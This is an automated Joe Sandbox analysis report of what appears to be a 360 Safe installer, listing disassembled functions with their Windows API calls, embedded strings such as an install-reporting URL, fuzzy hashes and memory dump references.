Associated: 00000007.00000002.4158786706.000000005F575000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158861183.000000005F57A000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158861183.000000005F5BC000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4159004826.000000005F5BF000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_5f4d0000_inst.jbxd

Similarity

API ID: CreateErrorLastThread___set_flsgetvalue__calloc_crt__decode_pointer__dosmaperr__getptd__getptd_noexit
String ID:
API String ID: 1803633139-0
Opcode ID: 800b2ce824d7d1c8a9382a6b272946c7debb885c631a0c484379d25758db5592
Instruction ID: 7f4d9cf506d1389f3a6d4355d9dc10f05fbd42fea07952615b9ad9c8a165456f
Opcode Fuzzy Hash: 800b2ce824d7d1c8a9382a6b272946c7debb885c631a0c484379d25758db5592
Instruction Fuzzy Hash: 3E11C8B2503305AFDB00AFE8DD818DF7BE4EF84321B10463AF505D71D1EB31990186A1

Function 001817D4 Relevance: 9.1, APIs: 6, Instructions: 51timefileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,C0000000,00000001,00000000,00000003,00000080,00000000), ref: 001817F0
DosDateTimeToFileTime.KERNEL32(?,?,?), ref: 00181808
LocalFileTimeToFileTime.KERNEL32(?,?), ref: 00181831
SetFileTime.KERNEL32(00000000,?,00000000,?), ref: 0018183F
CloseHandle.KERNEL32(00000000), ref: 00181846
SetFileAttributesW.KERNEL32(?,?), ref: 00181853

Memory Dump Source

Source File: 00000007.00000002.4138235490.0000000000161000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00160000, based on PE: true

Associated: 00000007.00000002.4138060161.0000000000160000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138601555.000000000021E000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138770666.0000000000243000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138919927.0000000000246000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.0000000000250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.000000000053D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_160000_inst.jbxd

Similarity

API ID: File$Time$AttributesCloseCreateDateHandleLocal
String ID:
API String ID: 820720069-0
Opcode ID: 65c18ae42cc1f726b62f6e9a665a6432a1a1d74b32a89e5b0cecf4793160c316
Instruction ID: bf7dd32460e4d9ad2a9db5ceeaecf6ee52fde50f0f9eaee6ee9ef72be70b1629
Opcode Fuzzy Hash: 65c18ae42cc1f726b62f6e9a665a6432a1a1d74b32a89e5b0cecf4793160c316
Instruction Fuzzy Hash: C7115B32900219BBEF119F94EC49FEE7B7CEB05711F058065FD11E7190DB709A118B50

Function 001A73D5 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 105COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 001A73F4
_memset.LIBCMT ref: 001A7422

Part of subcall function 001E3480: _memset.LIBCMT ref: 001E34C1
Part of subcall function 001E3480: _memset.LIBCMT ref: 001E34DE
Part of subcall function 001E3480: lstrlenA.KERNEL32(00000000,?,?,?,?,?,?,0024CDA4,00000000), ref: 001E34ED

Part of subcall function 001A71E2: _memset.LIBCMT ref: 001A7216
Part of subcall function 001A71E2: SHGetValueW.SHLWAPI(80000002,SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\360safe.exe,Path,?,?,?,?,?,0024CDA4), ref: 001A7239
Part of subcall function 001A71E2: PathCombineW.SHLWAPI(?,?,360safe.exe,?,?,?,0024CDA4), ref: 001A7269
Part of subcall function 001A71E2: PathFileExistsW.SHLWAPI(?,?,?,0024CDA4), ref: 001A7273

Strings

http://s.360.cn/safe/instcomp.htm?soft=%d&status=%d&m=%s&from=%s&vv=10&installed=%d, xrefs: 001A7473
&pid=, xrefs: 001A74CF
&ver=, xrefs: 001A74AF

Memory Dump Source

Source File: 00000007.00000002.4138235490.0000000000161000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00160000, based on PE: true

Associated: 00000007.00000002.4138060161.0000000000160000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138601555.000000000021E000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138770666.0000000000243000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138919927.0000000000246000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.0000000000250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.000000000053D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_160000_inst.jbxd

Similarity

API ID: _memset$Path$CombineExistsFileH_prolog3Valuelstrlen
String ID: &pid=$&ver=$http://s.360.cn/safe/instcomp.htm?soft=%d&status=%d&m=%s&from=%s&vv=10&installed=%d
API String ID: 3972583164-2772831180
Opcode ID: bb392ac73476ab6b243ac548159e250bd23e1677ae4b81d92ed11b751db3acfa
Instruction ID: 2467285049477bba2743ab410ab481c72623f71bc5db35153125c7669709df79
Opcode Fuzzy Hash: bb392ac73476ab6b243ac548159e250bd23e1677ae4b81d92ed11b751db3acfa
Instruction Fuzzy Hash: 04318D76910259ABCB14FBE4DC96AFEB3B8BF29304F004418F915A71C2EB346A19C761

Function 5F4FADFF Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 103COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 5F4FAE06

Strings

[%d.] CheckFile p2s Start , xrefs: 5F4FAEEA
[%d.] Rename start , xrefs: 5F4FAF2F
[%d.] CheckFile Start , xrefs: 5F4FAEA6
[%d.]No CheckFileMsg FileSize:%I64d , xrefs: 5F4FAE69

Memory Dump Source

Source File: 00000007.00000002.4158634502.000000005F4D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 5F4D0000, based on PE: true

Associated: 00000007.00000002.4158576782.000000005F4D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158731034.000000005F54F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158786706.000000005F56F000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158786706.000000005F575000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158861183.000000005F57A000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158861183.000000005F5BC000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4159004826.000000005F5BF000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_5f4d0000_inst.jbxd

Similarity

API ID: H_prolog3_
String ID: [%d.] CheckFile Start $[%d.] CheckFile p2s Start $[%d.] Rename start $[%d.]No CheckFileMsg FileSize:%I64d
API String ID: 2427045233-3735358712
Opcode ID: c2436980802cc161f4e22a728d6b8860c8ce3fb11e87ded59ebb82373b73906a
Instruction ID: a2660052f23a3c0db5da586af125b849418d592b0db9c019f803680ad9ee62f5
Opcode Fuzzy Hash: c2436980802cc161f4e22a728d6b8860c8ce3fb11e87ded59ebb82373b73906a
Instruction Fuzzy Hash: BF31B6F1E417009FCB54BAF4C890DAEB3E2EF84220B14493ED55F97341EA34A849C7A1

Function 001E28D0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 82fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00172750: _vswprintf_s.LIBCMT ref: 00172783

CreateFileA.KERNEL32(?,C0000000,00000003,00000000,00000003,00000000,00000000,?,?,00000104,00000000), ref: 001E291E
DeviceIoControl.KERNEL32 ref: 001E296D
CloseHandle.KERNEL32(00000000), ref: 001E29BD

Strings

\\.\%s, xrefs: 001E28EE
%02X%02X%02X%02X%02X%02X, xrefs: 001E29A8

Memory Dump Source

Source File: 00000007.00000002.4138235490.0000000000161000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00160000, based on PE: true

Associated: 00000007.00000002.4138060161.0000000000160000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138601555.000000000021E000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138770666.0000000000243000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138919927.0000000000246000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.0000000000250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.000000000053D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_160000_inst.jbxd

Similarity

API ID: CloseControlCreateDeviceFileHandle_vswprintf_s
String ID: %02X%02X%02X%02X%02X%02X$\\.\%s
API String ID: 2864800763-1525991222
Opcode ID: 5325e7bd4194d55b69de83fae831ddaef51b3c283c155176887ec9081b16bf9c
Instruction ID: 5c523c696d75a3cbc21304bcea26eb9277d011ab72575c2e81f53a8c42e276ab
Opcode Fuzzy Hash: 5325e7bd4194d55b69de83fae831ddaef51b3c283c155176887ec9081b16bf9c
Instruction Fuzzy Hash: AF21E5B11083906ED324EB65DC99EFFB6ECAF9D305F40891DF6E982181D67889448762

Function 0019869E Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 69windowCOMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 001986BD
_memset.LIBCMT ref: 001986F8
GetClassNameW.USER32(?,00000000,00000104), ref: 0019870B

Part of subcall function 00177FA1: __wcsicoll.LIBCMT ref: 00177FB9

IsDialogMessageW.USER32(?,?), ref: 00198757

Strings

EDIT, xrefs: 00198727

Memory Dump Source

Source File: 00000007.00000002.4138235490.0000000000161000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00160000, based on PE: true

Associated: 00000007.00000002.4138060161.0000000000160000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138601555.000000000021E000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138770666.0000000000243000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138919927.0000000000246000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.0000000000250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.000000000053D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_160000_inst.jbxd

Similarity

API ID: ClassDialogH_prolog3MessageName__wcsicoll_memset
String ID: EDIT
API String ID: 858151411-3080729518
Opcode ID: 441353c10504e037a6842f5312685ff64688444dcdba846559d49eb064941109
Instruction ID: c0082edea9045fdbf1335515a871879780deee6b33873d4a46dbd36c49b7d752
Opcode Fuzzy Hash: 441353c10504e037a6842f5312685ff64688444dcdba846559d49eb064941109
Instruction Fuzzy Hash: ED2105759002489BDF28EFA4EC49AFE73A5FF26710F108929E926D72D1DF30A944C760

Function 5F4DC462 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 53fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,00000000,00000000,00000000,00000003,00000080,00000000,?,?,5F4DCDEF,?), ref: 5F4DC48D
GetLastError.KERNEL32(?,?,5F4DCDEF,?), ref: 5F4DC4A4
CloseHandle.KERNEL32(00000000,?,?,5F4DCDEF,?), ref: 5F4DC499

Part of subcall function 5F51405E: _memset.LIBCMT ref: 5F514091
Part of subcall function 5F51405E: wvnsprintfW.SHLWAPI(?,000003FF,5F5BC288,5F4FE1F9), ref: 5F5140AC

Strings

exception raised in method CFileMgr::IsFileExisting, parameter pFileName can not be null, xrefs: 5F4DC471
IsFileExisting Error = %d, xrefs: 5F4DC4D5

Memory Dump Source

Source File: 00000007.00000002.4158634502.000000005F4D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 5F4D0000, based on PE: true

Associated: 00000007.00000002.4158576782.000000005F4D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158731034.000000005F54F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158786706.000000005F56F000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158786706.000000005F575000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158861183.000000005F57A000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158861183.000000005F5BC000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4159004826.000000005F5BF000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_5f4d0000_inst.jbxd

Similarity

API ID: CloseCreateErrorFileHandleLast_memsetwvnsprintf
String ID: IsFileExisting Error = %d$exception raised in method CFileMgr::IsFileExisting, parameter pFileName can not be null
API String ID: 162527170-4251026172
Opcode ID: c4fb67abbaeeb17b8c594129421b2efb50282dd80a162bcbf3171b4d188ab24c
Instruction ID: 3e26a2ab6796d4a6c721a87da82004ab5621eb1fda04ef1b96428c76c67345f6
Opcode Fuzzy Hash: c4fb67abbaeeb17b8c594129421b2efb50282dd80a162bcbf3171b4d188ab24c
Instruction Fuzzy Hash: 6D01D6F1005110A7D63139655E789BFBABDCF8753CB624927F2ABD6191C530A4C185A2

Function 5F51FCFE Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 49networkCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 5F51FD34
htonl.WS2_32(00000000), ref: 5F51FD46
htons.WS2_32(00000000), ref: 5F51FD52
sendto.WS2_32(000007A4,00000000,C7R_,5F5BC814,00000000,00000010), ref: 5F51FD6C

Strings

C7R_, xrefs: 5F51FD65, 5F51FD21

Memory Dump Source

Source File: 00000007.00000002.4158634502.000000005F4D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 5F4D0000, based on PE: true

Associated: 00000007.00000002.4158576782.000000005F4D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158731034.000000005F54F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158786706.000000005F56F000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158786706.000000005F575000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158861183.000000005F57A000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158861183.000000005F5BC000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4159004826.000000005F5BF000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_5f4d0000_inst.jbxd

Similarity

API ID: _memsethtonlhtonssendto
String ID: C7R_
API String ID: 2645352339-4204308585
Opcode ID: a4529193e1b0d4a591c2cd7285678b14c0f56e672dd1a6e6246a2b418558d7bd
Instruction ID: d6b44efe53659da487ad8316fe5b066c8600fbfb373acbc943df9c86660c656d
Opcode Fuzzy Hash: a4529193e1b0d4a591c2cd7285678b14c0f56e672dd1a6e6246a2b418558d7bd
Instruction Fuzzy Hash: EA115E76900208EFDB01DFA4C945EEF7BB5FF48720F10052AF905AB150D771AA64DBA1

Function 001A358F Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 38windowthreadCOMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000F0), ref: 001A35AF
SetWindowLongW.USER32(?,000000F0,00000000), ref: 001A35C0
SetFocus.USER32(?), ref: 001A35C9
GetCurrentThreadId.KERNEL32 ref: 001A35D6

Strings

D!, xrefs: 001A35DD

Memory Dump Source

Source File: 00000007.00000002.4138235490.0000000000161000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00160000, based on PE: true

Associated: 00000007.00000002.4138060161.0000000000160000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138601555.000000000021E000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138770666.0000000000243000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138919927.0000000000246000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.0000000000250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.000000000053D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_160000_inst.jbxd

Similarity

API ID: LongWindow$CurrentFocusThread
String ID: D!
API String ID: 2448781475-911024508
Opcode ID: 588fcff5c9c93f5fea8290db40d63ab6d2bc7080d7a88357061aa684a8ae1e8f
Instruction ID: 42c6c13f5e1a5f8d5d576227e5fe90e0032ee7b9a8388b983ac4d062e7139fc9
Opcode Fuzzy Hash: 588fcff5c9c93f5fea8290db40d63ab6d2bc7080d7a88357061aa684a8ae1e8f
Instruction Fuzzy Hash: 25F0FC71914610AFDB05A764DD0EE9F76A9EF25710F118518B82793191DF309E019A51

Function 001B1A42 Relevance: 7.6, APIs: 5, Instructions: 105COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 001B1A49
IsWindowEnabled.USER32(?), ref: 001B1A5E
GetClientRect.USER32(?,?), ref: 001B1A91
GetWindowTextW.USER32(?,00000000,00000080), ref: 001B1AD7
IsWindowEnabled.USER32(?), ref: 001B1B05

Memory Dump Source

Source File: 00000007.00000002.4138235490.0000000000161000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00160000, based on PE: true

Associated: 00000007.00000002.4138060161.0000000000160000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138601555.000000000021E000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138770666.0000000000243000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138919927.0000000000246000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.0000000000250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.000000000053D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_160000_inst.jbxd

Similarity

API ID: Window$Enabled$ClientH_prolog3RectText
String ID:
API String ID: 968978764-0
Opcode ID: 704491afaf1249e951fadb9609c0755f0b52a8134fdb18e1107042515855493a
Instruction ID: ec801322bbc965afa5fbc1ccf0d118d4587e886622da4bca5bbdea6fabf73bc1
Opcode Fuzzy Hash: 704491afaf1249e951fadb9609c0755f0b52a8134fdb18e1107042515855493a
Instruction Fuzzy Hash: BE418771A0060ABFDB21DBA4CC54EEEBBF9FF54344F51442AF512A6090EB716A40CB21

Function 001B1D08 Relevance: 7.6, APIs: 5, Instructions: 102COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 001B1D0F
GetWindowTextW.USER32(?,00000000,00000064), ref: 001B1D4E

Part of subcall function 0017D354: _wcsnlen.LIBCMT ref: 0017D36B

GetClientRect.USER32(?,?), ref: 001B1D8B
IsWindowEnabled.USER32(?), ref: 001B1DCE
OffsetRect.USER32(?,00000001,00000001), ref: 001B1DEC

Memory Dump Source

Source File: 00000007.00000002.4138235490.0000000000161000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00160000, based on PE: true

Associated: 00000007.00000002.4138060161.0000000000160000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138601555.000000000021E000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138770666.0000000000243000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138919927.0000000000246000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.0000000000250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.000000000053D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_160000_inst.jbxd

Similarity

API ID: RectWindow$ClientEnabledH_prolog3OffsetText_wcsnlen
String ID:
API String ID: 2890302191-0
Opcode ID: 540b6f5a4c56aa3df82dffe949bba24a621bb4f78ba8efa33f72e3a25143b9a3
Instruction ID: 0f0097230e2f827c6607fe7dd2bf29fce2689bfeffcef158e081222ffa5ab151
Opcode Fuzzy Hash: 540b6f5a4c56aa3df82dffe949bba24a621bb4f78ba8efa33f72e3a25143b9a3
Instruction Fuzzy Hash: 6C4138B1900609AFCF14DFA9DD85AEEBBBAFF58304F444119F605A6290DB71AA51CB20

Function 001B1E2D Relevance: 7.6, APIs: 5, Instructions: 78COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 001B1E34
GetWindowTextW.USER32(?,00000000,00000064), ref: 001B1E5D

Part of subcall function 0017D354: _wcsnlen.LIBCMT ref: 0017D36B

GetDC.USER32(?), ref: 001B1E70
GetWindowRect.USER32(?,?), ref: 001B1E8B
SetWindowPos.USER32(?,00000000,00000000,00000000,?,?,00000006), ref: 001B1EFC

Memory Dump Source

Source File: 00000007.00000002.4138235490.0000000000161000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00160000, based on PE: true

Associated: 00000007.00000002.4138060161.0000000000160000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138601555.000000000021E000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138770666.0000000000243000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138919927.0000000000246000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.0000000000250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.000000000053D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_160000_inst.jbxd

Similarity

API ID: Window$H_prolog3RectText_wcsnlen
String ID:
API String ID: 1157584674-0
Opcode ID: 7bed216c0b35ff4422a2986d4e5cdb913256711ba02a9fe01f79742e1eeb8a45
Instruction ID: db15dc66df87a4ed96a93bac4a756f8dae6b4b3baf9796de14524d5f784d8a9c
Opcode Fuzzy Hash: 7bed216c0b35ff4422a2986d4e5cdb913256711ba02a9fe01f79742e1eeb8a45
Instruction Fuzzy Hash: 93314971900609AFDB25DF95CC8ADFFBBBAFFA4304F500519E512A2190DB71A945CB21

Function 001CA52B Relevance: 7.6, APIs: 5, Instructions: 74windowCOMMON

Download Yara Rule

APIs

CreateCompatibleDC.GDI32(?), ref: 001CA58E
SelectObject.GDI32(00000000,?), ref: 001CA5B9
BitBlt.GDI32(?,?,?,?,?,00000000,00000000,00000000,00CC0020), ref: 001CA5D6
SelectObject.GDI32(00000000,00000000), ref: 001CA5DE
DeleteDC.GDI32(00000000), ref: 001CA5F3

Part of subcall function 001CA29F: GdipDrawImageRectI.GDIPLUS(?,00000000,?,?,?,?,?,?,001CFC56,?,?,?,00000000,?,?), ref: 001CA2C2

Memory Dump Source

Source File: 00000007.00000002.4138235490.0000000000161000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00160000, based on PE: true

Associated: 00000007.00000002.4138060161.0000000000160000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138601555.000000000021E000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138770666.0000000000243000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138919927.0000000000246000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.0000000000250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.000000000053D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_160000_inst.jbxd

Similarity

API ID: ObjectSelect$CompatibleCreateDeleteDrawGdipImageRect
String ID:
API String ID: 240731188-0
Opcode ID: 14183236523ff642f6f099f435f06126362deaf2158f9103fbcdb136204ad487
Instruction ID: a4f83b8f769278ce5f6d865e93aa922aa4c5668960767b010cdad76c3d0e25ae
Opcode Fuzzy Hash: 14183236523ff642f6f099f435f06126362deaf2158f9103fbcdb136204ad487
Instruction Fuzzy Hash: 6321167150021DEFCF22AF90DC45EAE7BB6FF68304F104419F902A2161DB72EA65EB91

Function 5F5203E4 Relevance: 7.6, APIs: 5, Instructions: 72networkCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 5F520418
inet_addr.WS2_32(?), ref: 5F520428
WSAAsyncGetHostByName.WS2_32(00000000,00000401,?,00000000,00000400), ref: 5F52045C
WSASetLastError.WS2_32(00002733), ref: 5F52046F

Memory Dump Source

Source File: 00000007.00000002.4158634502.000000005F4D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 5F4D0000, based on PE: true

Associated: 00000007.00000002.4158576782.000000005F4D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158731034.000000005F54F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158786706.000000005F56F000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158786706.000000005F575000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158861183.000000005F57A000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158861183.000000005F5BC000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4159004826.000000005F5BF000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_5f4d0000_inst.jbxd

Similarity

API ID: AsyncErrorHostLastName_memsetinet_addr
String ID:
API String ID: 1704644561-0
Opcode ID: 848e3ff7cb7419aafafe40cec5e82ff48b2b1bf7e3ccbd7f29108145cac146e9
Instruction ID: 3aa3dfadb86f0f5e638215b624c9a9ed033a580bf71c096a9392e7a8e2c2ed9c
Opcode Fuzzy Hash: 848e3ff7cb7419aafafe40cec5e82ff48b2b1bf7e3ccbd7f29108145cac146e9
Instruction Fuzzy Hash: 892184B5602304ABDB00DFB4C945EAF77F8AF48724F10462EF51AEB1D1D774AA0087A0

Function 0018DDD1 Relevance: 7.6, APIs: 5, Instructions: 59COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0018DE07
_memset.LIBCMT ref: 0018DE1E
_wcslen.LIBCMT ref: 0018DE38
_wcslen.LIBCMT ref: 0018DE48
SHFileOperationW.SHELL32(?,?,?,?,?,?,?,001CE664,00000000,00000000,001CE844,?,00000000,001CE844,?,?), ref: 0018DE6A

Memory Dump Source

Source File: 00000007.00000002.4138235490.0000000000161000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00160000, based on PE: true

Associated: 00000007.00000002.4138060161.0000000000160000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138601555.000000000021E000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138770666.0000000000243000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138919927.0000000000246000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.0000000000250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.000000000053D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_160000_inst.jbxd

Similarity

API ID: _memset_wcslen$FileOperation
String ID:
API String ID: 1469800647-0
Opcode ID: 833dea2a8071242772c6407028b0b74254df9595f291b9d079c5a74fd725e94f
Instruction ID: b6ed53ed64f1048de018f24ed3c2a31bfee24402063d877197a2f22306147c77
Opcode Fuzzy Hash: 833dea2a8071242772c6407028b0b74254df9595f291b9d079c5a74fd725e94f
Instruction Fuzzy Hash: 4B11517191025C9BDB21EFB8EC49AEE73A8BF18700F500429B519E7181EB3895048B55

Function 001CE037 Relevance: 7.6, APIs: 5, Instructions: 52fileCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 001CE069
GetTempPathW.KERNEL32(00000104,?,0024CDA4,?,?), ref: 001CE07D
_memset.LIBCMT ref: 001CE08D
GetTempFileNameW.KERNEL32(?,001985B6,00000000,?,?,?,?,?,?,?), ref: 001CE0A6
DeleteFileW.KERNEL32(?,?,?,?,?,?,?), ref: 001CE0B3

Memory Dump Source

Source File: 00000007.00000002.4138235490.0000000000161000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00160000, based on PE: true

Associated: 00000007.00000002.4138060161.0000000000160000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138601555.000000000021E000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138770666.0000000000243000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138919927.0000000000246000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.0000000000250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.000000000053D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_160000_inst.jbxd

Similarity

